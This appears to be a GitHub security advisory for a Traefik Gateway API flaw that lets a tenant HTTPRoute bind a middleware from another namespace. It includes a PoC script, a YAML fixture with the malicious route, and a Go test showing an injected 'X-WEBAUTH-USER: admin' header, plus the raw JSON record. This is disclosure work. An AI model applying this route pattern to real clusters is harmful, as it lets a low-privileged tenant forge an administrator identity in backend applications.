GHSA-QQ9Q-X9W4-CHHJ

Vulnerability from github – Published: 2026-08-05 21:49 – Updated: 2026-08-05 21:49
VLAI
Summary
Traefik Gateway API HTTPRoute BackendRef ExtensionRef Namespace Confusion
Details

Summary

There is a medium-severity namespace-confusion vulnerability in Traefik's Kubernetes Gateway API provider. When resolving HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef, Traefik used the backend Service namespace instead of the HTTPRoute namespace. A low-privileged route author holding a ReferenceGrant for a cross-namespace Service could therefore bind a Traefik Middleware from the backend namespace without a separate grant for that middleware. If the reused middleware sets trusted reverse-proxy identity headers, downstream applications may receive attacker-selected authenticated-identity state. The fix resolves extensionRef against the HTTPRoute namespace.

Patches

  • https://github.com/traefik/traefik/releases/tag/v3.7.7

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description ## Summary Traefik's Kubernetes Gateway API provider resolves `HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef` in the backend Service namespace instead of the `HTTPRoute` namespace. A low-privileged route author with a permitted cross-namespace Service reference can therefore bind a Traefik `Middleware` from the backend namespace without a separate grant for that middleware. If the reused middleware sets trusted reverse-proxy identity headers, downstream applications can receive attacker-selected authenticated identity state. ## Description Gateway API `ReferenceGrant` allows a namespace owner to grant a route in another namespace permission to reference a specific backend object, such as a `Service`. That grant should not implicitly authorize the route author to bind other policy objects in the backend namespace. In the affected code path, Traefik copies `backendRef.namespace` into a local `namespace` variable. It correctly uses that namespace to validate and load the backend `Service`, but then reuses the same namespace when resolving `backendRef.filters[].extensionRef`. For Traefik CRD `Middleware` extension filters, the CRD provider turns `(namespace, name)` into a dynamic middleware reference such as:
platform-privileged-auth-header@kubernetescrd
As a result, a tenant route in `tenant-a` can bind a middleware named `privileged-auth-header` from the backend namespace `platform`, even though the Gateway API `ReferenceGrant` only granted access to `platform/protected-api` `Service`. ## Impact The PoC demonstrates that an attacker-authored `HTTPRoute` can cause Traefik to attach a backend-namespace `Headers` middleware to the generated backend service. The middleware injects:
X-WEBAUTH-USER: admin
That is a realistic downstream primitive because many applications support trusted reverse-proxy authentication headers when deployed behind a gateway. Separate Docker validation showed this header-auth class can map to authenticated identities in Grafana, Gitea, Jenkins, SonarQube, and Nexus Repository when those products are intentionally configured for reverse-proxy authentication. This is not a bug in those downstream applications and this PoC does not claim direct Traefik host RCE, sandbox escape, private-key exfiltration, or default cluster takeover. The Traefik vulnerability is unauthorized middleware binding across a Gateway API namespace boundary. ## Proof Of Concept ### Files run.sh
#!/usr/bin/env sh
set -eu

TARGET_REF="${TARGET_REF:-v3.7.5}"
REPO_URL="${REPO_URL:-https://github.com/traefik/traefik.git}"
SCRIPT_DIR="$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)"
WORKDIR="${WORKDIR:-$(mktemp -d "${TMPDIR:-/tmp}/traefik-gw-extref-poc.XXXXXX")}"

if [ "${KEEP_WORKDIR:-0}" != "1" ]; then
    trap 'rm -rf "$WORKDIR"' EXIT INT TERM
fi

printf '[*] target_ref=%s\n' "$TARGET_REF"
printf '[*] workdir=%s\n' "$WORKDIR"

if [ -n "${TRAEFIK_SRC:-}" ]; then
    printf '[*] cloning from local source: %s\n' "$TRAEFIK_SRC"
    git clone -q "$TRAEFIK_SRC" "$WORKDIR/traefik"
    cd "$WORKDIR/traefik"
    git -c advice.detachedHead=false checkout -q "$TARGET_REF"
else
    printf '[*] cloning from remote: %s\n' "$REPO_URL"
    git -c advice.detachedHead=false clone -q --depth 1 --branch "$TARGET_REF" "$REPO_URL" "$WORKDIR/traefik"
    cd "$WORKDIR/traefik"
fi

mkdir -p pkg/provider/kubernetes/gateway/fixtures/httproute
cp "$SCRIPT_DIR/poc_gateway_extensionref_test.go" \
    pkg/provider/kubernetes/gateway/httproute_backend_filter_namespace_poc_test.go
cp "$SCRIPT_DIR/backendref_extension_filter_cross_namespace_poc.yml" \
    pkg/provider/kubernetes/gateway/fixtures/httproute/backendref_extension_filter_cross_namespace_poc.yml

if grep -Fq 'loadConfigurationFromGateways(ctx context.Context) (*dynamic.Configuration, *statusReport, error)' pkg/provider/kubernetes/gateway/kubernetes.go; then
    sed -i \
        -e 's/conf := p\.loadConfigurationFromGateways(t\.Context())/conf, _, err := p.loadConfigurationFromGateways(t.Context())/' \
        -e 's/require\.NotNil(t, conf)/require.NoError(t, err)/' \
        pkg/provider/kubernetes/gateway/httproute_backend_filter_namespace_poc_test.go
fi

printf '[*] running Gateway HTTPRoute backendRef ExtensionRef namespace-confusion PoC\n'
go test ./pkg/provider/kubernetes/gateway \
    -run '^TestPoCHTTPRouteBackendRefExtensionRefUsesBackendNamespace$' \
    -count=1 -v

printf 'POC_RESULT=PASS\n'
backendref_extension_filter_cross_namespace_poc.yml
---
apiVersion: v1
kind: Service
metadata:
  name: protected-api
  namespace: platform
spec:
  ports:
    - name: web
      protocol: TCP
      port: 80
      targetPort: web

---
kind: EndpointSlice
apiVersion: discovery.k8s.io/v1
metadata:
  name: protected-api-abc
  namespace: platform
  labels:
    kubernetes.io/service-name: protected-api
addressType: IPv4
ports:
  - name: web
    port: 8080
endpoints:
  - addresses:
      - 10.10.20.10
    conditions:
      ready: true

---
kind: GatewayClass
apiVersion: gateway.networking.k8s.io/v1
metadata:
  name: shared-gateway-class
spec:
  controllerName: traefik.io/gateway-controller

---
kind: Gateway
apiVersion: gateway.networking.k8s.io/v1
metadata:
  name: shared-gateway
  namespace: infra
spec:
  gatewayClassName: shared-gateway-class
  listeners:
    - name: http
      protocol: HTTP
      port: 80
      allowedRoutes:
        kinds:
          - kind: HTTPRoute
            group: gateway.networking.k8s.io
        namespaces:
          from: All

---
kind: ReferenceGrant
apiVersion: gateway.networking.k8s.io/v1beta1
metadata:
  name: allow-tenant-route-to-service
  namespace: platform
spec:
  from:
    - group: gateway.networking.k8s.io
      kind: HTTPRoute
      namespace: tenant-a
  to:
    - group: ""
      kind: Service
      name: protected-api

---
kind: HTTPRoute
apiVersion: gateway.networking.k8s.io/v1
metadata:
  name: tenant-route
  namespace: tenant-a
spec:
  parentRefs:
    - name: shared-gateway
      namespace: infra
      kind: Gateway
      group: gateway.networking.k8s.io
  hostnames:
    - attacker.example
  rules:
    - matches:
        - path:
            type: PathPrefix
            value: /
      backendRefs:
        - name: protected-api
          namespace: platform
          port: 80
          kind: Service
          group: ""
          filters:
            - type: ExtensionRef
              extensionRef:
                group: traefik.io
                kind: Middleware
                name: privileged-auth-header
poc_gateway_extensionref_test.go
package gateway

import (
    "net/http"
    "net/http/httptest"
    "testing"

    "github.com/stretchr/testify/assert"
    "github.com/stretchr/testify/require"
    "github.com/traefik/traefik/v3/pkg/config/dynamic"
    "github.com/traefik/traefik/v3/pkg/middlewares/headers"
    traefikv1alpha1 "github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/traefikio/v1alpha1"
    kubefake "k8s.io/client-go/kubernetes/fake"
)

func TestPoCHTTPRouteBackendRefExtensionRefUsesBackendNamespace(t *testing.T) {
    k8sObjects, gwObjects := readResources(t, []string{"httproute/backendref_extension_filter_cross_namespace_poc.yml"})

    kubeClient := kubefake.NewClientset(k8sObjects...)
    gwClient := newGatewaySimpleClientSet(t, gwObjects...)

    client := newClientImpl(kubeClient, gwClient)
    eventCh, err := client.WatchAll(nil, make(chan struct{}))
    require.NoError(t, err)
    if len(k8sObjects) > 0 || len(gwObjects) > 0 {
        <-eventCh
    }

    var resolvedRefs []string
    p := Provider{
        EntryPoints: map[string]Entrypoint{"web": {Address: ":80"}},
        client:      client,
    }

    p.RegisterFilterFuncs(traefikv1alpha1.GroupName, "Middleware", func(name, namespace string) (string, *dynamic.Middleware, error) {
        resolvedRefs = append(resolvedRefs, namespace+"/"+name)
        return namespace + "-" + name + "@kubernetescrd", &dynamic.Middleware{
            Headers: &dynamic.Headers{
                CustomRequestHeaders: map[string]string{
                    "X-WEBAUTH-USER": "admin",
                },
            },
        }, nil
    })

    conf := p.loadConfigurationFromGateways(t.Context())
    require.NotNil(t, conf)

    var serviceConfig *dynamic.Service
    for _, service := range conf.HTTP.Services {
        for _, middlewareRef := range service.Middlewares {
            if middlewareRef == "platform-privileged-auth-header@kubernetescrd" {
                serviceConfig = service
            }
        }
    }

    require.Contains(t, resolvedRefs, "platform/privileged-auth-header")
    require.Contains(t, conf.HTTP.Middlewares, "platform-privileged-auth-header@kubernetescrd")
    require.NotNil(t, serviceConfig)
    require.Contains(t, serviceConfig.Middlewares, "platform-privileged-auth-header@kubernetescrd")

    seenUser := make(chan string, 1)
    backend := http.HandlerFunc(func(rw http.ResponseWriter, req *http.Request) {
        seenUser <- req.Header.Get("X-WEBAUTH-USER")
        rw.WriteHeader(http.StatusOK)
    })

    handler, err := headers.NewHeader(backend, *conf.HTTP.Middlewares["platform-privileged-auth-header@kubernetescrd"].Headers)
    require.NoError(t, err)

    recorder := httptest.NewRecorder()
    handler.ServeHTTP(recorder, httptest.NewRequest(http.MethodGet, "http://attacker.example/", nil))

    assert.Equal(t, http.StatusOK, recorder.Code)
    assert.Equal(t, "admin", <-seenUser)
    t.Logf("POC_RESULT_DETAIL=backend_extension_ref_resolved_namespace=%q middleware=%q injected_header=%q",
        "platform", "platform-privileged-auth-header@kubernetescrd", "X-WEBAUTH-USER: admin")
}
### Requirements - `git` - Go toolchain compatible with the target Traefik tag. `v3.7.5` uses `go 1.25.0`. - Network access to clone `https://github.com/traefik/traefik.git` and download Go modules on first run. No local Traefik checkout or Kubernetes cluster is required by default. ### Run
./run.sh
Optional target override:
TARGET_REF=v3.7.0 ./run.sh
Optional local-source override for faster validation:
TRAEFIK_SRC=/path/to/traefik TARGET_REF=v3.7.5 ./run.sh
### Expected Result The run should end with:
POC_RESULT_DETAIL=backend_extension_ref_resolved_namespace="platform" middleware="platform-privileged-auth-header@kubernetescrd" injected_header="X-WEBAUTH-USER: admin"
POC_RESULT=PASS
## Root Cause Line numbers below are from:
repository: https://github.com/traefik/traefik
tag:        v3.7.5
commit:     26c96a3935cafb473f4a5bae1886560d9aa4e4f0
### 1. Route-level filters use the route namespace `pkg/provider/kubernetes/gateway/httproute.go:143-144`
// TODO loadMiddlewares errors could change the condition.
router.Middlewares, err = p.loadMiddlewares(conf, route.Namespace, routerName, routeRule.Filters, match.Path)
For filters directly on `HTTPRoute.rules[]`, Traefik resolves extension filters relative to `route.Namespace`. This matches the Gateway API `LocalObjectReference` model. ### 2. BackendRef namespace overwrites the route namespace `pkg/provider/kubernetes/gateway/httproute.go:240-243`
namespace := route.Namespace
if backendRef.Namespace != nil && *backendRef.Namespace != "" {
    namespace = string(*backendRef.Namespace)
For a cross-namespace backend Service, `namespace` becomes the backend namespace, for example `platform`. ### 3. ReferenceGrant checks only the backend object `pkg/provider/kubernetes/gateway/httproute.go:258-266`
if err := p.isReferenceGranted(kindHTTPRoute, route.Namespace, group, string(kind), string(backendRef.Name), namespace); err != nil {
    return serviceName, &metav1.Condition{
        Type:               string(gatev1.RouteConditionResolvedRefs),
        Status:             metav1.ConditionFalse,
        ObservedGeneration: route.Generation,
        LastTransitionTime: metav1.Now(),
        Reason:             string(gatev1.RouteReasonRefNotPermitted),
This validates permission to reference the backend object, such as `platform/protected-api` `Service`. ### 4. The backend namespace is reused for backendRef filters `pkg/provider/kubernetes/gateway/httproute.go:269-277`
middlewares, err := p.loadMiddlewares(conf, namespace, serviceName, backendRef.Filters, pathMatch)
if err != nil {
    return serviceName, &metav1.Condition{
        Type:               string(gatev1.RouteConditionResolvedRefs),
        Status:             metav1.ConditionFalse,
        ObservedGeneration: route.Generation,
        LastTransitionTime: metav1.Now(),
The same `namespace` variable now points to the backend namespace. Therefore an `ExtensionRef` inside `backendRef.filters[]` is resolved as `platform/` instead of `tenant-a/`. ### 5. CRD Middleware extension refs are qualified by the namespace supplied by Gateway provider `pkg/provider/kubernetes/crd/kubernetes.go:169-175`
registry.RegisterFilterFuncs(traefikv1alpha1.GroupName, "Middleware", func(name, namespace string) (string, *dynamic.Middleware, error) {
    if len(p.Namespaces) > 0 && !slices.Contains(p.Namespaces, namespace) {
        return "", nil, fmt.Errorf("namespace %q is not allowed", namespace)
    }

    return makeID(namespace, name) + providerNamespaceSeparator + ProviderName, nil, nil
The namespace passed from `loadMiddlewares()` decides which CRD `Middleware` object becomes part of the dynamic service configuration. ### 6. Service-level middlewares are applied at runtime `pkg/server/service/service.go:186-194`
if len(conf.Middlewares) > 0 {
    if m.middlewareChainBuilder == nil {
        // This should happen only in tests.
        return nil, errors.New("chain builder not defined")
    }
    chain := m.middlewareChainBuilder.BuildMiddlewareChain(ctx, conf.Middlewares)
    originalLB := lb
    var err error
    lb, err = chain.Then(lb)
The unauthorized middleware reference is not merely stored. Traefik applies service-level middlewares to the backend load balancer handler during normal HTTP service construction. ## Minimal Exploit Shape The PoC fixture contains the essential object graph:
tenant-a/HTTPRoute
  -> backendRef namespace: platform, name: protected-api
  -> backendRef.filters[].extensionRef: traefik.io/Middleware privileged-auth-header

platform/ReferenceGrant
  -> allows tenant-a HTTPRoute to reference platform/protected-api Service only

platform/protected-api Service

Traefik resolves the ExtensionRef as:
  platform/privileged-auth-header
In a real affected deployment, if `platform/privileged-auth-header` sets a trusted identity header, requests sent through the tenant route can reach the backend with that header injected by Traefik. ## Workarounds - Avoid granting untrusted namespaces permission to attach `HTTPRoute` objects to shared Gateways that route to sensitive backends. - Do not place privileged or identity-bearing Traefik `Middleware` objects in namespaces that can be reached by untrusted cross-namespace `HTTPRoute` backend references. - Prefer route-local filters and explicitly audit `HTTPRoute.rules[].backendRefs[].filters[].extensionRef` usage. - Strip trusted reverse-proxy identity headers at backend application boundaries unless they originate from a dedicated authentication gateway. ## Scope Boundary Exploitation requires low-privileged route-author capability in a Kubernetes Gateway API deployment. A remote unauthenticated web client without `HTTPRoute` authoring capability cannot create the malicious route. If the shared Gateway is internet-facing, the final request that triggers the unauthorized middleware can be sent over the public network after the route is created.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "Traefik"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0"
            },
            {
              "fixed": "3.7.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-65601"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-05T21:49:19Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThere is a medium-severity namespace-confusion vulnerability in Traefik\u0027s Kubernetes Gateway API provider. When resolving `HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef`, Traefik used the backend Service namespace instead of the `HTTPRoute` namespace. A low-privileged route author holding a `ReferenceGrant` for a cross-namespace Service could therefore bind a Traefik `Middleware` from the backend namespace without a separate grant for that middleware. If the reused middleware sets trusted reverse-proxy identity headers, downstream applications may receive attacker-selected authenticated-identity state. The fix resolves `extensionRef` against the `HTTPRoute` namespace.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.7.7\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n## Summary\n\nTraefik\u0027s Kubernetes Gateway API provider resolves\n`HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef` in the backend\nService namespace instead of the `HTTPRoute` namespace. A low-privileged route\nauthor with a permitted cross-namespace Service reference can therefore bind a\nTraefik `Middleware` from the backend namespace without a separate grant for\nthat middleware. If the reused middleware sets trusted reverse-proxy identity\nheaders, downstream applications can receive attacker-selected authenticated\nidentity state.\n\n## Description\n\nGateway API `ReferenceGrant` allows a namespace owner to grant a route in\nanother namespace permission to reference a specific backend object, such as a\n`Service`. That grant should not implicitly authorize the route author to bind\nother policy objects in the backend namespace.\n\nIn the affected code path, Traefik copies `backendRef.namespace` into a local\n`namespace` variable. It correctly uses that namespace to validate and load the\nbackend `Service`, but then reuses the same namespace when resolving\n`backendRef.filters[].extensionRef`. For Traefik CRD `Middleware` extension\nfilters, the CRD provider turns `(namespace, name)` into a dynamic middleware\nreference such as:\n\n```text\nplatform-privileged-auth-header@kubernetescrd\n```\n\nAs a result, a tenant route in `tenant-a` can bind a middleware named\n`privileged-auth-header` from the backend namespace `platform`, even though the\nGateway API `ReferenceGrant` only granted access to `platform/protected-api`\n`Service`.\n\n## Impact\n\nThe PoC demonstrates that an attacker-authored `HTTPRoute` can cause Traefik to\nattach a backend-namespace `Headers` middleware to the generated backend\nservice. The middleware injects:\n\n```text\nX-WEBAUTH-USER: admin\n```\n\nThat is a realistic downstream primitive because many applications support\ntrusted reverse-proxy authentication headers when deployed behind a gateway.\nSeparate Docker validation showed this header-auth class can map to\nauthenticated identities in Grafana, Gitea, Jenkins, SonarQube, and Nexus\nRepository when those products are intentionally configured for reverse-proxy\nauthentication.\n\nThis is not a bug in those downstream applications and this PoC does not claim\ndirect Traefik host RCE, sandbox escape, private-key exfiltration, or default\ncluster takeover. The Traefik vulnerability is unauthorized middleware binding\nacross a Gateway API namespace boundary.\n\n## Proof Of Concept\n\n### Files\n\n\u003cdetails\u003e\n\u003csummary\u003erun.sh\u003c/summary\u003e\n\n```bash\n#!/usr/bin/env sh\nset -eu\n\nTARGET_REF=\"${TARGET_REF:-v3.7.5}\"\nREPO_URL=\"${REPO_URL:-https://github.com/traefik/traefik.git}\"\nSCRIPT_DIR=\"$(CDPATH= cd -- \"$(dirname -- \"$0\")\" \u0026\u0026 pwd)\"\nWORKDIR=\"${WORKDIR:-$(mktemp -d \"${TMPDIR:-/tmp}/traefik-gw-extref-poc.XXXXXX\")}\"\n\nif [ \"${KEEP_WORKDIR:-0}\" != \"1\" ]; then\n\ttrap \u0027rm -rf \"$WORKDIR\"\u0027 EXIT INT TERM\nfi\n\nprintf \u0027[*] target_ref=%s\\n\u0027 \"$TARGET_REF\"\nprintf \u0027[*] workdir=%s\\n\u0027 \"$WORKDIR\"\n\nif [ -n \"${TRAEFIK_SRC:-}\" ]; then\n\tprintf \u0027[*] cloning from local source: %s\\n\u0027 \"$TRAEFIK_SRC\"\n\tgit clone -q \"$TRAEFIK_SRC\" \"$WORKDIR/traefik\"\n\tcd \"$WORKDIR/traefik\"\n\tgit -c advice.detachedHead=false checkout -q \"$TARGET_REF\"\nelse\n\tprintf \u0027[*] cloning from remote: %s\\n\u0027 \"$REPO_URL\"\n\tgit -c advice.detachedHead=false clone -q --depth 1 --branch \"$TARGET_REF\" \"$REPO_URL\" \"$WORKDIR/traefik\"\n\tcd \"$WORKDIR/traefik\"\nfi\n\nmkdir -p pkg/provider/kubernetes/gateway/fixtures/httproute\ncp \"$SCRIPT_DIR/poc_gateway_extensionref_test.go\" \\\n\tpkg/provider/kubernetes/gateway/httproute_backend_filter_namespace_poc_test.go\ncp \"$SCRIPT_DIR/backendref_extension_filter_cross_namespace_poc.yml\" \\\n\tpkg/provider/kubernetes/gateway/fixtures/httproute/backendref_extension_filter_cross_namespace_poc.yml\n\nif grep -Fq \u0027loadConfigurationFromGateways(ctx context.Context) (*dynamic.Configuration, *statusReport, error)\u0027 pkg/provider/kubernetes/gateway/kubernetes.go; then\n\tsed -i \\\n\t\t-e \u0027s/conf := p\\.loadConfigurationFromGateways(t\\.Context())/conf, _, err := p.loadConfigurationFromGateways(t.Context())/\u0027 \\\n\t\t-e \u0027s/require\\.NotNil(t, conf)/require.NoError(t, err)/\u0027 \\\n\t\tpkg/provider/kubernetes/gateway/httproute_backend_filter_namespace_poc_test.go\nfi\n\nprintf \u0027[*] running Gateway HTTPRoute backendRef ExtensionRef namespace-confusion PoC\\n\u0027\ngo test ./pkg/provider/kubernetes/gateway \\\n\t-run \u0027^TestPoCHTTPRouteBackendRefExtensionRefUsesBackendNamespace$\u0027 \\\n\t-count=1 -v\n\nprintf \u0027POC_RESULT=PASS\\n\u0027\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003ebackendref_extension_filter_cross_namespace_poc.yml\u003c/summary\u003e\n\n```yaml\n---\napiVersion: v1\nkind: Service\nmetadata:\n  name: protected-api\n  namespace: platform\nspec:\n  ports:\n    - name: web\n      protocol: TCP\n      port: 80\n      targetPort: web\n\n---\nkind: EndpointSlice\napiVersion: discovery.k8s.io/v1\nmetadata:\n  name: protected-api-abc\n  namespace: platform\n  labels:\n    kubernetes.io/service-name: protected-api\naddressType: IPv4\nports:\n  - name: web\n    port: 8080\nendpoints:\n  - addresses:\n      - 10.10.20.10\n    conditions:\n      ready: true\n\n---\nkind: GatewayClass\napiVersion: gateway.networking.k8s.io/v1\nmetadata:\n  name: shared-gateway-class\nspec:\n  controllerName: traefik.io/gateway-controller\n\n---\nkind: Gateway\napiVersion: gateway.networking.k8s.io/v1\nmetadata:\n  name: shared-gateway\n  namespace: infra\nspec:\n  gatewayClassName: shared-gateway-class\n  listeners:\n    - name: http\n      protocol: HTTP\n      port: 80\n      allowedRoutes:\n        kinds:\n          - kind: HTTPRoute\n            group: gateway.networking.k8s.io\n        namespaces:\n          from: All\n\n---\nkind: ReferenceGrant\napiVersion: gateway.networking.k8s.io/v1beta1\nmetadata:\n  name: allow-tenant-route-to-service\n  namespace: platform\nspec:\n  from:\n    - group: gateway.networking.k8s.io\n      kind: HTTPRoute\n      namespace: tenant-a\n  to:\n    - group: \"\"\n      kind: Service\n      name: protected-api\n\n---\nkind: HTTPRoute\napiVersion: gateway.networking.k8s.io/v1\nmetadata:\n  name: tenant-route\n  namespace: tenant-a\nspec:\n  parentRefs:\n    - name: shared-gateway\n      namespace: infra\n      kind: Gateway\n      group: gateway.networking.k8s.io\n  hostnames:\n    - attacker.example\n  rules:\n    - matches:\n        - path:\n            type: PathPrefix\n            value: /\n      backendRefs:\n        - name: protected-api\n          namespace: platform\n          port: 80\n          kind: Service\n          group: \"\"\n          filters:\n            - type: ExtensionRef\n              extensionRef:\n                group: traefik.io\n                kind: Middleware\n                name: privileged-auth-header\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003epoc_gateway_extensionref_test.go\u003c/summary\u003e\n\n```go\npackage gateway\n\nimport (\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n\t\"github.com/traefik/traefik/v3/pkg/config/dynamic\"\n\t\"github.com/traefik/traefik/v3/pkg/middlewares/headers\"\n\ttraefikv1alpha1 \"github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/traefikio/v1alpha1\"\n\tkubefake \"k8s.io/client-go/kubernetes/fake\"\n)\n\nfunc TestPoCHTTPRouteBackendRefExtensionRefUsesBackendNamespace(t *testing.T) {\n\tk8sObjects, gwObjects := readResources(t, []string{\"httproute/backendref_extension_filter_cross_namespace_poc.yml\"})\n\n\tkubeClient := kubefake.NewClientset(k8sObjects...)\n\tgwClient := newGatewaySimpleClientSet(t, gwObjects...)\n\n\tclient := newClientImpl(kubeClient, gwClient)\n\teventCh, err := client.WatchAll(nil, make(chan struct{}))\n\trequire.NoError(t, err)\n\tif len(k8sObjects) \u003e 0 || len(gwObjects) \u003e 0 {\n\t\t\u003c-eventCh\n\t}\n\n\tvar resolvedRefs []string\n\tp := Provider{\n\t\tEntryPoints: map[string]Entrypoint{\"web\": {Address: \":80\"}},\n\t\tclient:      client,\n\t}\n\n\tp.RegisterFilterFuncs(traefikv1alpha1.GroupName, \"Middleware\", func(name, namespace string) (string, *dynamic.Middleware, error) {\n\t\tresolvedRefs = append(resolvedRefs, namespace+\"/\"+name)\n\t\treturn namespace + \"-\" + name + \"@kubernetescrd\", \u0026dynamic.Middleware{\n\t\t\tHeaders: \u0026dynamic.Headers{\n\t\t\t\tCustomRequestHeaders: map[string]string{\n\t\t\t\t\t\"X-WEBAUTH-USER\": \"admin\",\n\t\t\t\t},\n\t\t\t},\n\t\t}, nil\n\t})\n\n\tconf := p.loadConfigurationFromGateways(t.Context())\n\trequire.NotNil(t, conf)\n\n\tvar serviceConfig *dynamic.Service\n\tfor _, service := range conf.HTTP.Services {\n\t\tfor _, middlewareRef := range service.Middlewares {\n\t\t\tif middlewareRef == \"platform-privileged-auth-header@kubernetescrd\" {\n\t\t\t\tserviceConfig = service\n\t\t\t}\n\t\t}\n\t}\n\n\trequire.Contains(t, resolvedRefs, \"platform/privileged-auth-header\")\n\trequire.Contains(t, conf.HTTP.Middlewares, \"platform-privileged-auth-header@kubernetescrd\")\n\trequire.NotNil(t, serviceConfig)\n\trequire.Contains(t, serviceConfig.Middlewares, \"platform-privileged-auth-header@kubernetescrd\")\n\n\tseenUser := make(chan string, 1)\n\tbackend := http.HandlerFunc(func(rw http.ResponseWriter, req *http.Request) {\n\t\tseenUser \u003c- req.Header.Get(\"X-WEBAUTH-USER\")\n\t\trw.WriteHeader(http.StatusOK)\n\t})\n\n\thandler, err := headers.NewHeader(backend, *conf.HTTP.Middlewares[\"platform-privileged-auth-header@kubernetescrd\"].Headers)\n\trequire.NoError(t, err)\n\n\trecorder := httptest.NewRecorder()\n\thandler.ServeHTTP(recorder, httptest.NewRequest(http.MethodGet, \"http://attacker.example/\", nil))\n\n\tassert.Equal(t, http.StatusOK, recorder.Code)\n\tassert.Equal(t, \"admin\", \u003c-seenUser)\n\tt.Logf(\"POC_RESULT_DETAIL=backend_extension_ref_resolved_namespace=%q middleware=%q injected_header=%q\",\n\t\t\"platform\", \"platform-privileged-auth-header@kubernetescrd\", \"X-WEBAUTH-USER: admin\")\n}\n```\n\n\u003c/details\u003e\n\n### Requirements\n\n- `git`\n- Go toolchain compatible with the target Traefik tag. `v3.7.5` uses\n  `go 1.25.0`.\n- Network access to clone `https://github.com/traefik/traefik.git` and download\n  Go modules on first run.\n\nNo local Traefik checkout or Kubernetes cluster is required by default.\n\n### Run\n\n```sh\n./run.sh\n```\n\nOptional target override:\n\n```sh\nTARGET_REF=v3.7.0 ./run.sh\n```\n\nOptional local-source override for faster validation:\n\n```sh\nTRAEFIK_SRC=/path/to/traefik TARGET_REF=v3.7.5 ./run.sh\n```\n\n### Expected Result\n\nThe run should end with:\n\n```text\nPOC_RESULT_DETAIL=backend_extension_ref_resolved_namespace=\"platform\" middleware=\"platform-privileged-auth-header@kubernetescrd\" injected_header=\"X-WEBAUTH-USER: admin\"\nPOC_RESULT=PASS\n```\n\n## Root Cause\n\nLine numbers below are from:\n\n```text\nrepository: https://github.com/traefik/traefik\ntag:        v3.7.5\ncommit:     26c96a3935cafb473f4a5bae1886560d9aa4e4f0\n```\n\n### 1. Route-level filters use the route namespace\n\n`pkg/provider/kubernetes/gateway/httproute.go:143-144`\n\n```go\n// TODO loadMiddlewares errors could change the condition.\nrouter.Middlewares, err = p.loadMiddlewares(conf, route.Namespace, routerName, routeRule.Filters, match.Path)\n```\n\nFor filters directly on `HTTPRoute.rules[]`, Traefik resolves extension filters\nrelative to `route.Namespace`. This matches the Gateway API\n`LocalObjectReference` model.\n\n### 2. BackendRef namespace overwrites the route namespace\n\n`pkg/provider/kubernetes/gateway/httproute.go:240-243`\n\n```go\nnamespace := route.Namespace\nif backendRef.Namespace != nil \u0026\u0026 *backendRef.Namespace != \"\" {\n\tnamespace = string(*backendRef.Namespace)\n```\n\nFor a cross-namespace backend Service, `namespace` becomes the backend\nnamespace, for example `platform`.\n\n### 3. ReferenceGrant checks only the backend object\n\n`pkg/provider/kubernetes/gateway/httproute.go:258-266`\n\n```go\nif err := p.isReferenceGranted(kindHTTPRoute, route.Namespace, group, string(kind), string(backendRef.Name), namespace); err != nil {\n\treturn serviceName, \u0026metav1.Condition{\n\t\tType:               string(gatev1.RouteConditionResolvedRefs),\n\t\tStatus:             metav1.ConditionFalse,\n\t\tObservedGeneration: route.Generation,\n\t\tLastTransitionTime: metav1.Now(),\n\t\tReason:             string(gatev1.RouteReasonRefNotPermitted),\n```\n\nThis validates permission to reference the backend object, such as\n`platform/protected-api` `Service`.\n\n### 4. The backend namespace is reused for backendRef filters\n\n`pkg/provider/kubernetes/gateway/httproute.go:269-277`\n\n```go\nmiddlewares, err := p.loadMiddlewares(conf, namespace, serviceName, backendRef.Filters, pathMatch)\nif err != nil {\n\treturn serviceName, \u0026metav1.Condition{\n\t\tType:               string(gatev1.RouteConditionResolvedRefs),\n\t\tStatus:             metav1.ConditionFalse,\n\t\tObservedGeneration: route.Generation,\n\t\tLastTransitionTime: metav1.Now(),\n```\n\nThe same `namespace` variable now points to the backend namespace. Therefore an\n`ExtensionRef` inside `backendRef.filters[]` is resolved as\n`platform/\u003cmiddleware-name\u003e` instead of `tenant-a/\u003cmiddleware-name\u003e`.\n\n### 5. CRD Middleware extension refs are qualified by the namespace supplied by Gateway provider\n\n`pkg/provider/kubernetes/crd/kubernetes.go:169-175`\n\n```go\nregistry.RegisterFilterFuncs(traefikv1alpha1.GroupName, \"Middleware\", func(name, namespace string) (string, *dynamic.Middleware, error) {\n\tif len(p.Namespaces) \u003e 0 \u0026\u0026 !slices.Contains(p.Namespaces, namespace) {\n\t\treturn \"\", nil, fmt.Errorf(\"namespace %q is not allowed\", namespace)\n\t}\n\n\treturn makeID(namespace, name) + providerNamespaceSeparator + ProviderName, nil, nil\n```\n\nThe namespace passed from `loadMiddlewares()` decides which CRD `Middleware`\nobject becomes part of the dynamic service configuration.\n\n### 6. Service-level middlewares are applied at runtime\n\n`pkg/server/service/service.go:186-194`\n\n```go\nif len(conf.Middlewares) \u003e 0 {\n\tif m.middlewareChainBuilder == nil {\n\t\t// This should happen only in tests.\n\t\treturn nil, errors.New(\"chain builder not defined\")\n\t}\n\tchain := m.middlewareChainBuilder.BuildMiddlewareChain(ctx, 